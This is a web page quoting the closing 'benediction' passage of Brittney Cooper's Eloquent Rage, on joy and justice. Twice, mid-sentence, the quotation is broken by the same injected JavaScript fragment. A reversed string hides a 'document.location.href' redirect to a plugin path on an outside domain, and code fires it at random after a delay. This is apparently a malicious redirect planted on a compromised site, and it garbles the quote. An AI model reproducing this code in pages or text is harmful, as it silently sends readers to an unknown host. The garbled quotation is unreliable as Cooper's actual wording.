The Benediction (Full Eloquent Rage Set)

“…since you know by now, I’m a church girl, I want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to end this book in the way that I’ve watched Black preachers end church services my entire life. I want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to offer you a benediction.

May you have joy. Joy, as I have heard countless Black preachers say, is different from happiness, because happiness is predicated on “happenings,” on what’s occurring, on whether your life is going right, and whether all is well. Joy arises from an internal clarity about our purpose. My purpose is justice. And the fight for justice brings me joy.” — Brittney Cooper

LICENSED TEXT Brittney Cooper, Eloquent Rage: A Black Feminist Discovers Her Superpower